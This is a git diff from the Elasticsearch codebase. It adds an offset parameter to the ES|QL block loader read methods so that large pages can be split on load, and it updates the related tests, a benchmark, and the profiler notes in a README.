 .../xpack/esql/heap_attack/HeapAttackIT.java  |  91 +++++++++++++-
 .../AbstractScriptFieldTypeTestCase.java      |   7 +-
 .../index/mapper/BlockLoaderTestRunner.java   |  43 +++++--
 .../elasticsearch/index/mapper/TestBlock.java |  95 ++++++++++++---
 .../elasticsearch/compute/data/DocVector.java |   1 -
 .../read/ComputeBlockLoaderFactory.java       |  12 +-
 .../read/TimeSeriesExtractFieldOperator.java  |   4 +-
 .../lucene/read/ValuesFromManyReader.java     |  37 +++++-
 .../lucene/read/ValuesFromSingleReader.java   | 113 ++++++++++++------
 .../compute/lucene/read/ValuesReader.java     |   3 -
 .../compute/lucene/read/ValuesReaderDocs.java |  69 +++++++++++
 .../read/ValuesSourceReaderOperator.java      |  31 ++++-
 .../operator/OrdinalsGroupingOperator.java    |   1 +
 .../elasticsearch/compute/OperatorTests.java  |   3 +-
 .../lucene/LuceneQueryEvaluatorTests.java     |   2 +
 .../ValueSourceReaderTypeConversionTests.java |  33 +++--
 .../read/ValuesSourceReaderOperatorTests.java |  77 ++++++++++--
 .../xpack/esql/qa/single_node/EsqlSpecIT.java |  18 +++
 .../xpack/esql/action/LookupFromIndexIT.java  |   2 +
 .../esql/enrich/AbstractLookupService.java    |   1 +
 .../planner/EsPhysicalOperationProviders.java |  22 ++--
 .../xpack/esql/planner/PhysicalSettings.java  |  64 ++++++++++
 .../xpack/esql/plugin/ComputeService.java     |   9 +-
 .../xpack/esql/plugin/EsqlPlugin.java         |  13 +-
 .../xpack/esql/plugin/QueryPragmas.java       |   3 +-
 .../optimizer/PhysicalPlanOptimizerTests.java |   9 +-
 .../planner/LocalExecutionPlannerTests.java   |   8 +-
 .../AggregateMetricDoubleFieldMapper.java     |  26 ++--
 .../ConstantKeywordFieldMapperTests.java      |   4 +-
 50 files changed, 752 insertions(+), 235 deletions(-)
 create mode 100644 docs/changelog/131053.yaml
 create mode 100644 x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReaderDocs.java
 create mode 100644 x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PhysicalSettings.java

diff --git a/benchmarks/README.md b/benchmarks/README.md
index af72d16d2ad4b..c5b8f5b9d2321 100644
--- a/benchmarks/README.md
+++ b/benchmarks/README.md
@@ -152,11 +152,10 @@ exit
 Grab the async profiler from https://github.com/jvm-profiling-tools/async-profiler
 and run `prof async` like so:
 ```
-gradlew -p benchmarks/ run --args 'LongKeyedBucketOrdsBenchmark.multiBucket -prof "async:libPath=/home/nik9000/Downloads/async-profiler-3.0-29ee888-linux-x64/lib/libasyncProfiler.so;dir=/tmp/prof;output=flamegraph"'
+gradlew -p benchmarks/ run --args 'LongKeyedBucketOrdsBenchmark.multiBucket -prof "async:libPath=/home/nik9000/Downloads/async-profiler-4.0-linux-x64/lib/libasyncProfiler.so;dir=/tmp/prof;output=flamegraph"'
 ```
 
-Note: As of January 2025 the latest release of async profiler doesn't work
-      with our JDK but the nightly is fine.
+Note: As of July 2025 the 4.0 release of the async profiler works well.
 
 If you are on Mac, this'll warn you that you downloaded the shared library from
 the internet. You'll need to go to settings and allow it to run.
diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java
index 741418be2c912..c41357c426fb0 100644
--- a/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java
+++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java
@@ -24,8 +24,10 @@
 import org.apache.lucene.util.BytesRef;
 import org.apache.lucene.util.NumericUtils;
 import org.elasticsearch.common.breaker.NoopCircuitBreaker;
+import org.elasticsearch.common.logging.LogConfigurator;
 import org.elasticsearch.common.lucene.Lucene;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.common.util.BigArrays;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.BytesRefBlock;
@@ -85,6 +87,10 @@
 @State(Scope.Thread)
 @Fork(1)
 public class ValuesSourceReaderBenchmark {
+    static {
+        LogConfigurator.configureESLogging();
+    }
+
     private static final String[] SUPPORTED_LAYOUTS = new String[] { "in_order", "shuffled", "shuffled_singles" };
     private static final String[] SUPPORTED_NAMES = new String[] {
         "long",
@@ -344,6 +350,7 @@ public FieldNamesFieldMapper.FieldNamesFieldType fieldNames() {
     public void benchmark() {
         ValuesSourceReaderOperator op = new ValuesSourceReaderOperator(
             blockFactory,
+            ByteSizeValue.ofMb(1).getBytes(),
             fields(name),
             List.of(new ValuesSourceReaderOperator.ShardContext(reader, () -> {
                 throw new UnsupportedOperationException("can't load _source here");
diff --git a/docs/changelog/131053.yaml b/docs/changelog/131053.yaml
new file mode 100644
index 0000000000000..b30a7c8ee8cc5
--- /dev/null
+++ b/docs/changelog/131053.yaml
@@ -0,0 +1,5 @@
+pr: 131053
+summary: Split large pages on load sometimes
+area: ES|QL
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapper.java
index 22b198b10a7ad..f419d87d008fe 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapper.java
@@ -98,11 +98,11 @@ protected void writeExtent(BlockLoader.IntBuilder builder, Extent extent) {
             public BlockLoader.AllReader reader(LeafReaderContext context) throws IOException {
                 return new BlockLoader.AllReader() {
                     @Override
-                    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+                    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
                         var binaryDocValues = context.reader().getBinaryDocValues(fieldName);
                         var reader = new GeometryDocValueReader();
-                        try (var builder = factory.ints(docs.count())) {
-                            for (int i = 0; i < docs.count(); i++) {
+                        try (var builder = factory.ints(docs.count() - offset)) {
+                            for (int i = offset; i < docs.count(); i++) {
                                 read(binaryDocValues, docs.get(i), reader, builder);
                             }
                             return builder.build();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/BlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/BlockDocValuesReader.java
index 363e956f1b211..850a2c0bc99f9 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/BlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/BlockDocValuesReader.java
@@ -124,10 +124,10 @@ private static class SingletonLongs extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.LongBuilder builder = factory.longsFromDocValues(docs.count())) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.LongBuilder builder = factory.longsFromDocValues(docs.count() - offset)) {
                 int lastDoc = -1;
-                for (int i = 0; i < docs.count(); i++) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < lastDoc) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -173,9 +173,9 @@ private static class Longs extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.LongBuilder builder = factory.longsFromDocValues(docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.LongBuilder builder = factory.longsFromDocValues(docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < this.docID) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -259,10 +259,10 @@ private static class SingletonInts extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.IntBuilder builder = factory.intsFromDocValues(docs.count())) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.IntBuilder builder = factory.intsFromDocValues(docs.count() - offset)) {
                 int lastDoc = -1;
-                for (int i = 0; i < docs.count(); i++) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < lastDoc) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -308,9 +308,9 @@ private static class Ints extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.IntBuilder builder = factory.intsFromDocValues(docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.IntBuilder builder = factory.intsFromDocValues(docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < this.docID) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -408,10 +408,10 @@ private static class SingletonDoubles extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.DoubleBuilder builder = factory.doublesFromDocValues(docs.count())) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.DoubleBuilder builder = factory.doublesFromDocValues(docs.count() - offset)) {
                 int lastDoc = -1;
-                for (int i = 0; i < docs.count(); i++) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < lastDoc) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -461,9 +461,9 @@ private static class Doubles extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.DoubleBuilder builder = factory.doublesFromDocValues(docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.DoubleBuilder builder = factory.doublesFromDocValues(docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < this.docID) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -544,10 +544,10 @@ private static class DenseVectorValuesBlockReader extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
             // Doubles from doc values ensures that the values are in order
-            try (BlockLoader.FloatBuilder builder = factory.denseVectors(docs.count(), dimensions)) {
-                for (int i = 0; i < docs.count(); i++) {
+            try (BlockLoader.FloatBuilder builder = factory.denseVectors(docs.count() - offset, dimensions)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < iterator.docID()) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -645,19 +645,19 @@ private BlockLoader.Block readSingleDoc(BlockFactory factory, int docId) throws
             if (ordinals.advanceExact(docId)) {
                 BytesRef v = ordinals.lookupOrd(ordinals.ordValue());
                 // the returned BytesRef can be reused
-                return factory.constantBytes(BytesRef.deepCopyOf(v));
+                return factory.constantBytes(BytesRef.deepCopyOf(v), 1);
             } else {
-                return factory.constantNulls();
+                return factory.constantNulls(1);
             }
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            if (docs.count() == 1) {
-                return readSingleDoc(factory, docs.get(0));
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            if (docs.count() - offset == 1) {
+                return readSingleDoc(factory, docs.get(offset));
             }
-            try (BlockLoader.SingletonOrdinalsBuilder builder = factory.singletonOrdinalsBuilder(ordinals, docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+            try (var builder = factory.singletonOrdinalsBuilder(ordinals, docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < ordinals.docID()) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -700,9 +700,9 @@ private static class Ordinals extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BytesRefBuilder builder = factory.bytesRefsFromDocValues(docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BytesRefBuilder builder = factory.bytesRefsFromDocValues(docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < ordinals.docID()) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -780,9 +780,9 @@ private static class BytesRefsFromBinary extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.BytesRefBuilder builder = factory.bytesRefs(docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.BytesRefBuilder builder = factory.bytesRefs(docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < docID) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -879,9 +879,9 @@ private static class DenseVectorFromBinary extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.FloatBuilder builder = factory.denseVectors(docs.count(), dimensions)) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.FloatBuilder builder = factory.denseVectors(docs.count() - offset, dimensions)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < docID) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -963,10 +963,10 @@ private static class SingletonBooleans extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.BooleanBuilder builder = factory.booleansFromDocValues(docs.count())) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.BooleanBuilder builder = factory.booleansFromDocValues(docs.count() - offset)) {
                 int lastDoc = -1;
-                for (int i = 0; i < docs.count(); i++) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < lastDoc) {
                         throw new IllegalStateException("docs within same block must be in order");
@@ -1012,9 +1012,9 @@ private static class Booleans extends BlockDocValuesReader {
         }
 
         @Override
-        public BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException {
-            try (BlockLoader.BooleanBuilder builder = factory.booleansFromDocValues(docs.count())) {
-                for (int i = 0; i < docs.count(); i++) {
+        public BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            try (BlockLoader.BooleanBuilder builder = factory.booleansFromDocValues(docs.count() - offset)) {
+                for (int i = offset; i < docs.count(); i++) {
                     int doc = docs.get(i);
                     if (doc < this.docID) {
                         throw new IllegalStateException("docs within same block must be in order");
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/BlockLoader.java b/server/src/main/java/org/elasticsearch/index/mapper/BlockLoader.java
index 640a629410451..9c2711eeff333 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/BlockLoader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/BlockLoader.java
@@ -43,7 +43,7 @@ interface ColumnAtATimeReader extends Reader {
         /**
          * Reads the values of all documents in {@code docs}.
          */
-        BlockLoader.Block read(BlockFactory factory, Docs docs) throws IOException;
+        BlockLoader.Block read(BlockFactory factory, Docs docs, int offset) throws IOException;
     }
 
     interface RowStrideReader extends Reader {
@@ -149,8 +149,8 @@ public String toString() {
      */
     class ConstantNullsReader implements AllReader {
         @Override
-        public Block read(BlockFactory factory, Docs docs) throws IOException {
-            return factory.constantNulls();
+        public Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+            return factory.constantNulls(docs.count() - offset);
         }
 
         @Override
@@ -183,8 +183,8 @@ public Builder builder(BlockFactory factory, int expectedCount) {
             public ColumnAtATimeReader columnAtATimeReader(LeafReaderContext context) {
                 return new ColumnAtATimeReader() {
                     @Override
-                    public Block read(BlockFactory factory, Docs docs) {
-                        return factory.constantBytes(value);
+                    public Block read(BlockFactory factory, Docs docs, int offset) {
+                        return factory.constantBytes(value, docs.count() - offset);
                     }
 
                     @Override
@@ -261,8 +261,8 @@ public ColumnAtATimeReader columnAtATimeReader(LeafReaderContext context) throws
             }
             return new ColumnAtATimeReader() {
                 @Override
-                public Block read(BlockFactory factory, Docs docs) throws IOException {
-                    return reader.read(factory, docs);
+                public Block read(BlockFactory factory, Docs docs, int offset) throws IOException {
+                    return reader.read(factory, docs, offset);
                 }
 
                 @Override
@@ -408,13 +408,13 @@ interface BlockFactory {
         /**
          * Build a block that contains only {@code null}.
          */
-        Block constantNulls();
+        Block constantNulls(int count);
 
         /**
          * Build a block that contains {@code value} repeated
          * {@code size} times.
          */
-        Block constantBytes(BytesRef value);
+        Block constantBytes(BytesRef value, int count);
 
         /**
          * Build a reader for reading keyword ordinals.
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/BooleanScriptBlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/BooleanScriptBlockDocValuesReader.java
index a3b10ea901395..3a1a805a25b64 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/BooleanScriptBlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/BooleanScriptBlockDocValuesReader.java
@@ -49,10 +49,10 @@ public int docId() {
     }
 
     @Override
-    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
         // Note that we don't emit falses before trues so we conform to the doc values contract and can use booleansFromDocValues
-        try (BlockLoader.BooleanBuilder builder = factory.booleans(docs.count())) {
-            for (int i = 0; i < docs.count(); i++) {
+        try (BlockLoader.BooleanBuilder builder = factory.booleans(docs.count() - offset)) {
+            for (int i = offset; i < docs.count(); i++) {
                 read(docs.get(i), builder);
             }
             return builder.build();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/DateScriptBlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/DateScriptBlockDocValuesReader.java
index fb97b0f84c50f..0ec899e19a1cd 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/DateScriptBlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/DateScriptBlockDocValuesReader.java
@@ -49,10 +49,10 @@ public int docId() {
     }
 
     @Override
-    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
         // Note that we don't sort the values sort, so we can't use factory.longsFromDocValues
-        try (BlockLoader.LongBuilder builder = factory.longs(docs.count())) {
-            for (int i = 0; i < docs.count(); i++) {
+        try (BlockLoader.LongBuilder builder = factory.longs(docs.count() - offset)) {
+            for (int i = offset; i < docs.count(); i++) {
                 read(docs.get(i), builder);
             }
             return builder.build();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/DoubleScriptBlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/DoubleScriptBlockDocValuesReader.java
index d762acda9f7e4..f01cc65775e6e 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/DoubleScriptBlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/DoubleScriptBlockDocValuesReader.java
@@ -49,10 +49,10 @@ public int docId() {
     }
 
     @Override
-    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
         // Note that we don't sort the values sort, so we can't use factory.doublesFromDocValues
-        try (BlockLoader.DoubleBuilder builder = factory.doubles(docs.count())) {
-            for (int i = 0; i < docs.count(); i++) {
+        try (BlockLoader.DoubleBuilder builder = factory.doubles(docs.count() - offset)) {
+            for (int i = offset; i < docs.count(); i++) {
                 read(docs.get(i), builder);
             }
             return builder.build();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/IpScriptBlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/IpScriptBlockDocValuesReader.java
index 48d78129b8781..b232a8e1fc45a 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/IpScriptBlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/IpScriptBlockDocValuesReader.java
@@ -49,10 +49,10 @@ public int docId() {
     }
 
     @Override
-    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
         // Note that we don't pre-sort our output so we can't use bytesRefsFromDocValues
-        try (BlockLoader.BytesRefBuilder builder = factory.bytesRefs(docs.count())) {
-            for (int i = 0; i < docs.count(); i++) {
+        try (BlockLoader.BytesRefBuilder builder = factory.bytesRefs(docs.count() - offset)) {
+            for (int i = offset; i < docs.count(); i++) {
                 read(docs.get(i), builder);
             }
             return builder.build();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/KeywordScriptBlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/KeywordScriptBlockDocValuesReader.java
index cfc7045a55513..220bba3d3c079 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/KeywordScriptBlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/KeywordScriptBlockDocValuesReader.java
@@ -51,10 +51,10 @@ public int docId() {
     }
 
     @Override
-    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
         // Note that we don't pre-sort our output so we can't use bytesRefsFromDocValues
-        try (BlockLoader.BytesRefBuilder builder = factory.bytesRefs(docs.count())) {
-            for (int i = 0; i < docs.count(); i++) {
+        try (BlockLoader.BytesRefBuilder builder = factory.bytesRefs(docs.count() - offset)) {
+            for (int i = offset; i < docs.count(); i++) {
                 read(docs.get(i), builder);
             }
             return builder.build();
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/LongScriptBlockDocValuesReader.java b/server/src/main/java/org/elasticsearch/index/mapper/LongScriptBlockDocValuesReader.java
index 0a1a8a86154ab..9c947a17de7b6 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/LongScriptBlockDocValuesReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/LongScriptBlockDocValuesReader.java
@@ -49,10 +49,10 @@ public int docId() {
     }
 
     @Override
-    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs) throws IOException {
+    public BlockLoader.Block read(BlockLoader.BlockFactory factory, BlockLoader.Docs docs, int offset) throws IOException {
         // Note that we don't pre-sort our output so we can't use longsFromDocValues
-        try (BlockLoader.LongBuilder builder = factory.longs(docs.count())) {
-            for (int i = 0; i < docs.count(); i++) {
+        try (BlockLoader.LongBuilder builder = factory.longs(docs.count() - offset)) {
+            for (int i = offset; i < docs.count(); i++) {
                 read(docs.get(i), builder);
             }
             return builder.build();
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapperTests.java b/server/src/test/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapperTests.java
index 73d76ad48c955..6a81a93923abc 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapperTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/AbstractShapeGeometryFieldMapperTests.java
@@ -125,7 +125,7 @@ private static void testBoundsBlockLoaderAux(
                     for (int j : array) {
                         expected.add(visitor.apply(geometries.get(j + currentIndex)).get());
                     }
-                    try (var block = (TestBlock) loader.reader(leaf).read(TestBlock.factory(leafReader.numDocs()), TestBlock.docs(array))) {
+                    try (var block = (TestBlock) loader.reader(leaf).read(TestBlock.factory(), TestBlock.docs(array), 0)) {
                         for (int i = 0; i < block.size(); i++) {
                             intArrayResults.add(block.get(i));
                         }
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/BlockSourceReaderTests.java b/server/src/test/java/org/elasticsearch/index/mapper/BlockSourceReaderTests.java
index 357ada3ad656d..1fa9c85a5c738 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/BlockSourceReaderTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/BlockSourceReaderTests.java
@@ -59,7 +59,7 @@ private void loadBlock(LeafReaderContext ctx, Consumer<TestBlock> test) throws I
             StoredFieldLoader.fromSpec(loader.rowStrideStoredFieldSpec()).getLoader(ctx, null),
             loader.rowStrideStoredFieldSpec().requiresSource() ? SourceLoader.FROM_STORED_SOURCE.leaf(ctx.reader(), null) : null
         );
-        BlockLoader.Builder builder = loader.builder(TestBlock.factory(ctx.reader().numDocs()), 1);
+        BlockLoader.Builder builder = loader.builder(TestBlock.factory(), 1);
         storedFields.advanceTo(0);
         reader.read(0, storedFields, builder);
         TestBlock block = (TestBlock) builder.build();
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/BooleanScriptFieldTypeTests.java b/server/src/test/java/org/elasticsearch/index/mapper/BooleanScriptFieldTypeTests.java
index ce9a9bc0688f3..54656ab1af3ee 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/BooleanScriptFieldTypeTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/BooleanScriptFieldTypeTests.java
@@ -446,7 +446,8 @@ public void testBlockLoader() throws IOException {
             try (DirectoryReader reader = iw.getReader()) {
                 BooleanScriptFieldType fieldType = build("xor_param", Map.of("param", false), OnScriptError.FAIL);
                 List<Boolean> expected = List.of(false, true);
-                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType), equalTo(expected));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 0), equalTo(expected));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 1), equalTo(expected.subList(1, 2)));
                 assertThat(blockLoaderReadValuesFromRowStrideReader(reader, fieldType), equalTo(expected));
             }
         }
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/DateScriptFieldTypeTests.java b/server/src/test/java/org/elasticsearch/index/mapper/DateScriptFieldTypeTests.java
index 3d8ed5ea60262..1eb0ba07d58e2 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/DateScriptFieldTypeTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/DateScriptFieldTypeTests.java
@@ -493,9 +493,10 @@ public void testBlockLoader() throws IOException {
             try (DirectoryReader reader = iw.getReader()) {
                 DateScriptFieldType fieldType = build("add_days", Map.of("days", 1), OnScriptError.FAIL);
                 assertThat(
-                    blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType),
+                    blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 0),
                     equalTo(List.of(1595518581354L, 1595518581355L))
                 );
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 1), equalTo(List.of(1595518581355L)));
                 assertThat(blockLoaderReadValuesFromRowStrideReader(reader, fieldType), equalTo(List.of(1595518581354L, 1595518581355L)));
             }
         }
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/DoubleScriptFieldTypeTests.java b/server/src/test/java/org/elasticsearch/index/mapper/DoubleScriptFieldTypeTests.java
index 140137015d98a..b1cda53876993 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/DoubleScriptFieldTypeTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/DoubleScriptFieldTypeTests.java
@@ -262,7 +262,8 @@ public void testBlockLoader() throws IOException {
             );
             try (DirectoryReader reader = iw.getReader()) {
                 DoubleScriptFieldType fieldType = build("add_param", Map.of("param", 1), OnScriptError.FAIL);
-                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType), equalTo(List.of(2d, 3d)));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 0), equalTo(List.of(2d, 3d)));
+                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType, 1), equalTo(List.of(3d)));
                 assertThat(blockLoaderReadValuesFromRowStrideReader(reader, fieldType), equalTo(List.of(2d, 3d)));
             }
         }
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/IpScriptFieldTypeTests.java b/server/src/test/java/org/elasticsearch/index/mapper/IpScriptFieldTypeTests.java
index 281d2993fa29c..7e9a236f6cc74 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/IpScriptFieldTypeTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/IpScriptFieldTypeTests.java
@@ -273,7 +273,8 @@ public void testBlockLoader() throws IOException {
                     new BytesRef(InetAddressPoint.encode(InetAddresses.forString("192.168.0.1"))),
                     new BytesRef(InetAddressPoint.encode(InetAddresses.forString("192.168.1.1")))
                 );
-                assertThat(blockLoaderReadValuesFromColumnAtATimeReader(reader, fieldType), equalTo(expected));
